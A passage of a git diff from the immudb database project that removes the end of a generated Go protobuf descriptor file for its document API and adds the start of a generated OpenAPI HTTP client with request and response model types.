0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, - 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa9, 0x01, - 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x30, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, - 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, - 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, - 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, - 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, - 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, - 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, - 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, - 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, - 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, - 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, - 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, - 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x33, -} - -var ( - file_documentschema_proto_rawDescOnce sync.Once - file_documentschema_proto_rawDescData = file_documentschema_proto_rawDesc -) - -func file_documentschema_proto_rawDescGZIP() []byte { - file_documentschema_proto_rawDescOnce.Do(func() { - file_documentschema_proto_rawDescData = protoimpl.X.CompressGZIP(file_documentschema_proto_rawDescData) - }) - return file_documentschema_proto_rawDescData -} - -var file_documentschema_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_documentschema_proto_msgTypes = make([]protoimpl.MessageInfo, 30) -var file_documentschema_proto_goTypes = []interface{}{ - (QueryOperator)(0), // 0: immudb.documentschema.QueryOperator - (IndexType)(0), // 1: immudb.documentschema.IndexType - (*DocumentInsertRequest)(nil), // 2: immudb.documentschema.DocumentInsertRequest - (*DocumentInsertResponse)(nil), // 3: immudb.documentschema.DocumentInsertResponse - (*DocumentUpdateRequest)(nil), // 4: immudb.documentschema.DocumentUpdateRequest - (*DocumentUpdateResponse)(nil), // 5: immudb.documentschema.DocumentUpdateResponse - (*IndexValue)(nil), // 6: immudb.documentschema.IndexValue - (*DocumentQuery)(nil), // 7: immudb.documentschema.DocumentQuery - (*DocumentSearchRequest)(nil), // 8: immudb.documentschema.DocumentSearchRequest - (*DocumentSearchResponse)(nil), // 9: immudb.documentschema.DocumentSearchResponse - (*DocumentProofRequest)(nil), // 10: immudb.documentschema.DocumentProofRequest - (*DocumentProofResponse)(nil), // 11: immudb.documentschema.DocumentProofResponse - (*DocumentAuditRequest)(nil), // 12: immudb.documentschema.DocumentAuditRequest - (*DocumentAuditResponse)(nil), // 13: immudb.documentschema.DocumentAuditResponse - (*DocumentAudit)(nil), // 14: immudb.documentschema.DocumentAudit - (*IndexOption)(nil), // 15: immudb.documentschema.IndexOption - (*CollectionCreateRequest)(nil), // 16: immudb.documentschema.CollectionCreateRequest - (*CollectionCreateResponse)(nil), // 17: immudb.documentschema.CollectionCreateResponse - (*CollectionInformation)(nil), // 18: immudb.documentschema.CollectionInformation - (*CollectionGetResponse)(nil), // 19: immudb.documentschema.CollectionGetResponse - (*CollectionGetRequest)(nil), // 20: immudb.documentschema.CollectionGetRequest - (*CollectionListRequest)(nil), // 21: immudb.documentschema.CollectionListRequest - (*CollectionListResponse)(nil), // 22: immudb.documentschema.CollectionListResponse - (*CollectionDeleteRequest)(nil), // 23: immudb.documentschema.CollectionDeleteRequest - (*CollectionDeleteResponse)(nil), // 24: immudb.documentschema.CollectionDeleteResponse - (*CollectionUpdateRequest)(nil), // 25: immudb.documentschema.CollectionUpdateRequest - (*CollectionUpdateResponse)(nil), // 26: immudb.documentschema.CollectionUpdateResponse - (*DocumentInsertManyRequest)(nil), // 27: immudb.documentschema.DocumentInsertManyRequest - (*DocumentInsertManyResponse)(nil), // 28: immudb.documentschema.DocumentInsertManyResponse - nil, // 29: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry - nil, // 30: immudb.documentschema.CollectionInformation.IndexKeysEntry - nil, // 31: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry - (*structpb.Struct)(nil), // 32: google.protobuf.Struct - (structpb.NullValue)(0), // 33: google.protobuf.NullValue - (*structpb.Value)(nil), // 34: google.protobuf.Value - (*schema.VerifiableTxV2)(nil), // 35: immudb.schema.VerifiableTxV2 -} -var file_documentschema_proto_depIdxs = []int32{ - 32, // 0: immudb.documentschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 7, // 1: immudb.documentschema.DocumentUpdateRequest.query:type_name -> immudb.documentschema.DocumentQuery - 32, // 2: immudb.documentschema.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct - 33, // 3: immudb.documentschema.IndexValue.null_value:type_name -> google.protobuf.NullValue - 0, // 4: immudb.documentschema.DocumentQuery.operator:type_name -> immudb.documentschema.QueryOperator - 34, // 5: immudb.documentschema.DocumentQuery.value:type_name -> google.protobuf.Value - 7, // 6: immudb.documentschema.DocumentSearchRequest.query:type_name -> immudb.documentschema.DocumentQuery - 32, // 7: immudb.documentschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct - 35, // 8: immudb.documentschema.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 - 14, // 9: immudb.documentschema.DocumentAuditResponse.results:type_name -> immudb.documentschema.DocumentAudit - 32, // 10: immudb.documentschema.DocumentAudit.document:type_name -> google.protobuf.Struct - 1, // 11: immudb.documentschema.IndexOption.type:type_name -> immudb.documentschema.IndexType - 29, // 12: immudb.documentschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentschema.CollectionCreateRequest.IndexKeysEntry - 18, // 13: immudb.documentschema.CollectionCreateResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 30, // 14: immudb.documentschema.CollectionInformation.indexKeys:type_name -> immudb.documentschema.CollectionInformation.IndexKeysEntry - 18, // 15: immudb.documentschema.CollectionGetResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 18, // 16: immudb.documentschema.CollectionListResponse.collections:type_name -> immudb.documentschema.CollectionInformation - 31, // 17: immudb.documentschema.CollectionUpdateRequest.addIndexes:type_name -> immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry - 18, // 18: immudb.documentschema.CollectionUpdateResponse.collection:type_name -> immudb.documentschema.CollectionInformation - 32, // 19: immudb.documentschema.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct - 15, // 20: immudb.documentschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 15, // 21: immudb.documentschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentschema.IndexOption - 15, // 22: immudb.documentschema.CollectionUpdateRequest.AddIndexesEntry.value:type_name -> immudb.documentschema.IndexOption - 2, // 23: immudb.documentschema.DocumentService.DocumentInsert:input_type -> immudb.documentschema.DocumentInsertRequest - 4, // 24: immudb.documentschema.DocumentService.DocumentUpdate:input_type -> immudb.documentschema.DocumentUpdateRequest - 8, // 25: immudb.documentschema.DocumentService.DocumentSearch:input_type -> immudb.documentschema.DocumentSearchRequest - 12, // 26: immudb.documentschema.DocumentService.DocumentAudit:input_type -> immudb.documentschema.DocumentAuditRequest - 10, // 27: immudb.documentschema.DocumentService.DocumentProof:input_type -> immudb.documentschema.DocumentProofRequest - 16, // 28: immudb.documentschema.DocumentService.CollectionCreate:input_type -> immudb.documentschema.CollectionCreateRequest - 20, // 29: immudb.documentschema.DocumentService.CollectionGet:input_type -> immudb.documentschema.CollectionGetRequest - 21, // 30: immudb.documentschema.DocumentService.CollectionList:input_type -> immudb.documentschema.CollectionListRequest - 23, // 31: immudb.documentschema.DocumentService.CollectionDelete:input_type -> immudb.documentschema.CollectionDeleteRequest - 25, // 32: immudb.documentschema.DocumentService.CollectionUpdate:input_type -> immudb.documentschema.CollectionUpdateRequest - 27, // 33: immudb.documentschema.DocumentService.DocumentInsertMany:input_type -> immudb.documentschema.DocumentInsertManyRequest - 3, // 34: immudb.documentschema.DocumentService.DocumentInsert:output_type -> immudb.documentschema.DocumentInsertResponse - 5, // 35: immudb.documentschema.DocumentService.DocumentUpdate:output_type -> immudb.documentschema.DocumentUpdateResponse - 9, // 36: immudb.documentschema.DocumentService.DocumentSearch:output_type -> immudb.documentschema.DocumentSearchResponse - 13, // 37: immudb.documentschema.DocumentService.DocumentAudit:output_type -> immudb.documentschema.DocumentAuditResponse - 11, // 38: immudb.documentschema.DocumentService.DocumentProof:output_type -> immudb.documentschema.DocumentProofResponse - 17, // 39: immudb.documentschema.DocumentService.CollectionCreate:output_type -> immudb.documentschema.CollectionCreateResponse - 19, // 40: immudb.documentschema.DocumentService.CollectionGet:output_type -> immudb.documentschema.CollectionGetResponse - 22, // 41: immudb.documentschema.DocumentService.CollectionList:output_type -> immudb.documentschema.CollectionListResponse - 24, // 42: immudb.documentschema.DocumentService.CollectionDelete:output_type -> immudb.documentschema.CollectionDeleteResponse - 26, // 43: immudb.documentschema.DocumentService.CollectionUpdate:output_type -> immudb.documentschema.CollectionUpdateResponse - 28, // 44: immudb.documentschema.DocumentService.DocumentInsertMany:output_type -> immudb.documentschema.DocumentInsertManyResponse - 34, // [34:45] is the sub-list for method output_type - 23, // [23:34] is the sub-list for method input_type - 23, // [23:23] is the sub-list for extension type_name - 23, // [23:23] is the sub-list for extension extendee - 0, // [0:23] is the sub-list for field type_name -} - -func init() { file_documentschema_proto_init() } -func file_documentschema_proto_init() { - if File_documentschema_proto != nil { - return - } - if !protoimpl.UnsafeEnabled { - file_documentschema_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentInsertRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentInsertResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentUpdateRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentUpdateResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*IndexValue); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentQuery); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentSearchRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentSearchResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentProofRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentProofResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAuditRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAuditResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAudit); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*IndexOption); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionCreateRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionCreateResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionInformation); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionGetResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionGetRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionListRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionListResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionDeleteRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionDeleteResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionUpdateRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionUpdateResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentInsertManyRequest); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - file_documentschema_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentInsertManyResponse); i { - case 0: - return &v.state - case 1: - return &v.sizeCache - case 2: - return &v.unknownFields - default: - return nil - } - } - } - file_documentschema_proto_msgTypes[4].OneofWrappers = []interface{}{ - (*IndexValue_NullValue)(nil), - (*IndexValue_NumberValue)(nil), - (*IndexValue_StringValue)(nil), - (*IndexValue_BoolValue)(nil), - } - type x struct{} - out := protoimpl.TypeBuilder{ - File: protoimpl.DescBuilder{ - GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: file_documentschema_proto_rawDesc, - NumEnums: 2, - NumMessages: 30, - NumExtensions: 0, - NumServices: 1, - }, - GoTypes: file_documentschema_proto_goTypes, - DependencyIndexes: file_documentschema_proto_depIdxs, - EnumInfos: file_documentschema_proto_enumTypes, - MessageInfos: file_documentschema_proto_msgTypes, - }.Build() - File_documentschema_proto = out.File - file_documentschema_proto_rawDesc = nil - file_documentschema_proto_goTypes = nil - file_documentschema_proto_depIdxs = nil -} diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go new file mode 100644 index 0000000000..a9bfdff69b --- /dev/null +++ b/pkg/api/httpclient/client.go @@ -0,0 +1,2701 @@ +// Package httpclient provides primitives to interact with the openapi HTTP API. +// +// Code generated by github.com/deepmap/oapi-codegen version v1.12.4 DO NOT EDIT. +package httpclient + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "net/url" + "strings" + + "github.com/deepmap/oapi-codegen/pkg/runtime" +) + +// Defines values for ModelComparisonOperator. +const ( + EQ ModelComparisonOperator = "EQ" + GE ModelComparisonOperator = "GE" + GT ModelComparisonOperator = "GT" + LE ModelComparisonOperator = "LE" + LIKE ModelComparisonOperator = "LIKE" + LT ModelComparisonOperator = "LT" + NE ModelComparisonOperator = "NE" +) + +// Defines values for ModelFieldType. +const ( + BLOB ModelFieldType = "BLOB" + BOOLEAN ModelFieldType = "BOOLEAN" + DOUBLE ModelFieldType = "DOUBLE" + INTEGER ModelFieldType = "INTEGER" + STRING ModelFieldType = "STRING" +) + +// ImmudbmodelOpenSessionRequest defines model for immudbmodelOpenSessionRequest. +type ImmudbmodelOpenSessionRequest struct { + Database *string `json:"database,omitempty"` + Password *string `json:"password,omitempty"` + Username *string `json:"username,omitempty"` +} + +// ImmudbmodelOpenSessionResponse defines model for immudbmodelOpenSessionResponse. +type ImmudbmodelOpenSessionResponse struct { + ExpirationTimestamp *int32 `json:"expirationTimestamp,omitempty"` + InactivityTimestamp *int32 `json:"inactivityTimestamp,omitempty"` + ServerUUID *string `json:"serverUUID,omitempty"` + SessionID *string `json:"sessionID,omitempty"` +} + +// ModelCloseSessionRequest defines model for modelCloseSessionRequest. +type ModelCloseSessionRequest = map[string]interface{} + +// ModelCloseSessionResponse defines model for modelCloseSessionResponse. +type ModelCloseSessionResponse = map[string]interface{} + +// ModelCollection defines model for modelCollection. +type ModelCollection struct { + Fields *[]ModelField `json:"fields,omitempty"` + IdFieldName *string `json:"idFieldName,omitempty"` + Indexes *[]ModelIndex `json:"indexes,omitempty"` + Name *string `json:"name,omitempty"` +} + +// ModelCollectionCreateRequest defines model for modelCollectionCreateRequest. +type ModelCollectionCreateRequest struct { + Collection *ModelCollection `json:"collection,omitempty"` +} + +// ModelCollectionCreateResponse defines model for modelCollectionCreateResponse. +type ModelCollectionCreateResponse struct { + Collection *ModelCollection `json:"collection,omitempty"` +} + +// ModelCollectionDeleteResponse defines model for modelCollectionDeleteResponse. +type ModelCollectionDeleteResponse = map[string]interface{} + +// ModelCollectionGetResponse defines model for modelCollectionGetResponse. +type ModelCollectionGetResponse struct { + Collection *ModelCollection `json:"collection,omitempty"` +} + +// ModelCollectionListRequest defines model for modelCollectionListRequest. +type ModelCollectionListRequest = map[string]interface{} + +// ModelCollectionListResponse defines model for modelCollectionListResponse. +type ModelCollectionListResponse struct { + Collections *[]ModelCollection `json:"collections,omitempty"` +} + +// ModelCollectionUpdateRequest defines model for modelCollectionUpdateRequest. +type ModelCollectionUpdateRequest struct { + Collection *ModelCollection `json:"collection,omitempty"` +} + +// ModelCollectionUpdateResponse defines model for modelCollectionUpdateResponse. +type ModelCollectionUpdateResponse = map[string]interface{} + +// ModelComparisonOperator defines model for modelComparisonOperator. +type ModelComparisonOperator string + +// ModelDocumentAtRevision defines model for modelDocumentAtRevision. +type ModelDocumentAtRevision struct { + Document *map[string]interface{} `json:"document,omitempty"` + Revision *string `json:"revision,omitempty"` + TransactionId *string `json:"transactionId,omitempty"` +} + +// ModelDocumentAuditRequest defines model for modelDocumentAuditRequest. +type ModelDocumentAuditRequest struct { + Collection *string `json:"collection,omitempty"` + Desc *bool `json:"desc,omitempty"` + DocumentId *string `json:"documentId,omitempty"` + Page *int64 `json:"page,omitempty"` + PerPage *int64 `json:"perPage,omitempty"` +} + +// ModelDocumentAuditResponse defines model for modelDocumentAuditResponse. +type ModelDocumentAuditResponse struct { + Revisions *[]ModelDocumentAtRevision `json:"revisions,omitempty"` +} + +// ModelDocumentInsertManyRequest defines model for modelDocumentInsertManyRequest. +type ModelDocumentInsertManyRequest struct { + Collection *string `json:"collection,omitempty"` + Documents *[]map[string]interface{} `json:"documents,omitempty"` +} + +// ModelDocumentInsertManyResponse defines model for modelDocumentInsertManyResponse. +type ModelDocumentInsertManyResponse struct { + DocumentIds *[]string `json:"documentIds,omitempty"` + TransactionId *string `json:"transactionId,omitempty"` +} + +// ModelDocumentInsertRequest defines model for modelDocumentInsertRequest. +type ModelDocumentInsertRequest struct { + Collection *string `json:"collection,omitempty"` + Document *map[string]interface{} `json:"document,omitempty"` +} + +// ModelDocumentInsertResponse defines model for modelDocumentInsertResponse. +type ModelDocumentInsertResponse struct { + DocumentId *string `json:"documentId,omitempty"` + TransactionId *string `json:"transactionId,omitempty"` +} + +// ModelDocumentProofRequest defines model for modelDocumentProofRequest. +type ModelDocumentProofRequest struct { + Collection *string `json:"collection,omitempty"` + DocumentId *string `json:"documentId,omitempty"` + ProofSinceTransactionId *string `json:"proofSinceTransactionId,omitempty"` + TransactionId *string `json:"transactionId,omitempty"` +} + +// ModelDocumentProofResponse defines model for modelDocumentProofResponse. +type ModelDocumentProofResponse struct { + CollectionId *int64 `json:"collectionId,omitempty"` + Database *string `json:"database,omitempty"` + EncodedDocument *[]byte `json:"encodedDocument,omitempty"` + VerifiableTx *SchemaVerifiableTxV2 `json:"verifiableTx,omitempty"` +} + +// ModelDocumentSearchRequest defines model for modelDocumentSearchRequest. +type ModelDocumentSearchRequest struct { + Collection *string `json:"collection,omitempty"` + Desc *bool `json:"desc,omitempty"` + Page *int64 `json:"page,omitempty"` + PerPage *int64 `json:"perPage,omitempty"` + Query *ModelQuery `json:"query,omitempty"` +} + +// ModelDocumentSearchResponse defines model for modelDocumentSearchResponse. +type ModelDocumentSearchResponse struct { + Revisions *[]ModelDocumentAtRevision `json:"revisions,omitempty"` +} + +// ModelDocumentUpdateRequest defines model for modelDocumentUpdateRequest. +type ModelDocumentUpdateRequest struct { + Collection *string `json:"collection,omitempty"` + Document *map[string]interface{} `json:"document,omitempty"` + Query *ModelQuery `json:"query,omitempty"` +} + +// ModelDocumentUpdateResponse defines model for modelDocumentUpdateResponse. +type ModelDocumentUpdateResponse struct { + Revision *ModelDocumentAtRevision `json:"revision,omitempty"` +} + +// ModelField defines model for modelField. +type ModelField struct { + Name *string `json:"name,omitempty"` + Type *ModelFieldType `json:"type,omitempty"` +} + +// ModelFieldComparison defines model for modelFieldComparison. +type ModelFieldComparison struct { + Field *string `json:"field,omitempty"` + Operator *ModelComparisonOperator `json:"operator,omitempty"` + Value *map[string]interface{} `json:"value,omitempty"` +} + +// ModelFieldType defines model for modelFieldType. +type ModelFieldType string + +// ModelIndex defines model for modelIndex. +type ModelIndex struct { + Fields *[]string `json:"fields,omitempty"` + IsUnique *bool `json:"isUnique,omitempty"` +} + +// ModelKeepAliveRequest defines model for modelKeepAliveRequest. +type ModelKeepAliveRequest = map[string]interface{} + +// ModelKeepAliveResponse defines model for modelKeepAliveResponse. +type ModelKeepAliveResponse = map[string]interface{} + +// ModelQuery defines model for modelQuery. +type ModelQuery struct { + Expressions *[]ModelQueryExpression `json:"expressions,omitempty"` +} + +// ModelQueryExpression defines model for modelQueryExpression. +type ModelQueryExpression struct { + FieldComparisons *[]ModelFieldComparison `json:"fieldComparisons,omitempty"` +} + +// ProtobufAny `Any` contains an arbitrary serialized protocol buffer message along with a +// URL that describes the type of the serialized message. +// +// Protobuf library provides support to pack/unpack Any values in the form +// of utility functions or additional generated methods of the Any type. +// +// Example 1: Pack and unpack a message in C++. +// +// Foo foo = ...; +// Any any; +// any.PackFrom(foo); +// ... +// if (any.UnpackTo(&foo)) { +// ... +// } +// +// Example 2: Pack and unpack a message in Java. +// +// Foo foo = ...; +// Any any = Any.pack(foo); +// ... +// if (any.is(Foo.class)) { +// foo = any.unpack(Foo.class); +// } +// +// Example 3: Pack and unpack a message in Python. +// +// foo = Foo(...) +// any = Any() +// any.Pack(foo) +// ... +// if any.Is(Foo.DESCRIPTOR): +// any.Unpack(foo) +// ... +// +// Example 4: Pack and unpack a message in Go +// +// foo := &pb.Foo{...} +// any, err := ptypes.MarshalAny(foo) +// ... +// foo := &pb.Foo{} +// if err := ptypes.UnmarshalAny(any, foo); err != nil { +// ... +// } +// +// The pack methods provided by protobuf library will by default use +// 'type.googleapis.com/full.type.name' as the type URL and the unpack +// methods only use the fully qualified type name after the last '/' +// in the type URL, for example "foo.bar.com/x/y.z" will yield type +// name "y.z". +// +// JSON +// ==== +// The JSON representation of an `Any` value uses the regular +// representation of the deserialized, embedded message, with an +// additional field `@type` which contains the type URL. Example: +// +// package google.profile; +// message Person { +// string first_name = 1; +// string last_name = 2; +// } +// +// { +// "@type": "type.googleapis.com/google.profile.Person", +// "firstName": , +// "lastName": +// } +// +// If the embedded message type is well-known and has a custom JSON +// representation, that representation will be embedded adding a field +// `value` which holds the custom JSON in addition to the `@type` +// field. Example (for message [google.protobuf.Duration][]): +// +// { +// "@type": "type.googleapis.com/google.protobuf.Duration", +// "value": "1.212s" +// } +type ProtobufAny struct { + // Type A URL/resource name that uniquely identifies the type of the serialized + // protocol buffer message. This string must contain at least + // one "/" character. The last segment of the URL's path must represent + // the fully qualified name of the type (as in + // `path/google.protobuf.Duration`). The name should be in a canonical form + // (e.g., leading "." is not accepted). + // + // In practice, teams usually precompile into the binary all types that they + // expect it to use in the context of Any. However, for URLs which use the + // scheme `http`, `https`, or no scheme, one can optionally set up a type + // server that maps type URLs to message definitions as follows: + // + // * If no scheme is provided, `https` is assumed. + // * An HTTP GET on the URL must yield a [google.protobuf.Type][] + // value in binary format, or produce an error. + // * Applications are allowed to cache lookup results based on the + // URL, or have them precompiled into a binary to avoid any + // lookup. Therefore, binary compatibility needs to be preserved + // on changes to types. (Use versioned type names to manage + // breaking changes.) + // + // Note: this functionality is not currently available in the official + // protobuf release, and it is not used for type URLs beginning with + // type.googleapis.com. + // + // Schemes other than `http`, `https` (or the empty scheme) might be + // used with implementation specific semantics. + Type *string `json:"@type,omitempty"` + AdditionalProperties map[string]map[string]interface{} 